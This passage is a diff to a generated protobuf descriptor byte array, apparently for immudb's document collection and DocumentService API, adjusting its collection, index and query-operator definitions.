0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, - 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, - 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, - 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, + 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, - 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, - 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, - 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, - 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, - 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, - 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, - 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, - 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, - 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, - 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, - 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, - 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, + 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, + 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, + 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, + 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, + 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, + 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, + 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, + 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, + 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, + 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 